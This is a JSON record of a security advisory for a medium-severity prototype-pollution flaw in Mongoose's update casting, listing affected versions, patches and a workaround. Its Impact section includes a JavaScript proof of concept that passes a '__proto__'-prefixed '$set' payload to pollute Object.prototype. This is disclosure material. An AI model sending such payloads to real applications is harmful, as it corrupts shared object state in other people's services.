{"id":"GHSA-664h-wqgq-64gw","title":"Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)","summary":"Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)","severity":"medium","cvss":6.5,"cwe":["CWE-1321"],"vendor":"mongoose","product":"mongoose","ecosystem":"npm","affected":["mongoose < 6.13.10","mongoose >= 7.0.0, < 7.8.10","mongoose >= 8.0.0, < 8.24.1","mongoose >= 9.0.0, < 9.7.2"],"patched":["mongoose 6.13.10","mongoose 7.8.10","mongoose 8.24.1","mongoose 9.7.2"],"published":"2026-07-24","updated":"2026-07-24","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-664h-wqgq-64gw","references":[{"url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw"},{"url":"https://github.com/Automattic/mongoose/pull/16230"},{"url":"https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b"},{"url":"https://github.com/Automattic/mongoose/releases/tag/6.13.10"},{"url":"https://github.com/Automattic/mongoose/releases/tag/7.8.10"},{"url":"https://github.com/Automattic/mongoose/releases/tag/8.24.1"},{"url":"https://github.com/Automattic/mongoose/releases/tag/9.7.2"},{"url":"https://github.com/advisories/GHSA-664h-wqgq-64gw"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-24T16:33:09.146Z","slug":"GHSA-664h-wqgq-64gw","body":"## Overview\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPrototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.\n\nExample:\n\n```javascript\nconst mongoose = require('mongoose');\nconsole.log('before:', Object.prototype.$fullPath);            // undefined\n\nconst User = mongoose.model('User', new mongoose.Schema({ name: String }));\nconst malicious = JSON.parse('{\"$set\": {\"__proto__.x\": \"anything\"}}');   // attacker-controlled update\n\nconst q = User.updateOne({}, {});\ntry { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }\n\nconsole.log('after :', Object.prototype.$fullPath);            // \"__proto__\"\nconsole.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true\nconsole.log('fresh {}:', ({}).$fullPath);                      // \"__proto__\"\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n9.7.2, 8.24.1. 7.8.10, 6.13.10\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCheck user-controlled updates for own `__proto__` properties before passing to Mongoose\n\n### References\n_Are there any links users can visit to find out more?_\n\n## Affected packages\n\n- `mongoose < 6.13.10`\n- `mongoose >= 7.0.0, < 7.8.10`\n- `mongoose >= 8.0.0, < 8.24.1`\n- `mongoose >= 9.0.0, < 9.7.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mongoose 6.13.10`\n- `mongoose 7.8.10`\n- `mongoose 8.24.1`\n- `mongoose 9.7.2`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}